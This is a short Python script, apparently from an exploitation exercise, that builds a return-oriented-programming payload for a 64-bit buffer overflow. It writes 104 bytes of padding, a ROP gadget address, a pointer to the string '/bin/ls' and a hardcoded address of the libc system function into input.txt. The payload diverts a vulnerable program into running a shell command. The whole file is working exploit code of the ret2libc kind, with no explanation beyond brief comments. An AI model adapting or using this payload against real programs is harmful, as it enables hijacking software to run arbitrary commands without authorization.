#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104       # junk
buffer += pack("<Q", 0x0000000000400653) # <--- ROP gadget
buffer += pack("<Q", 0x400697) # <--- pinter to "/bin/ls"
buffer += pack("<Q", 0x7ffff7a57590) # <--- addresss of system function

f = open("input.txt", "w")
f.write(buffer)
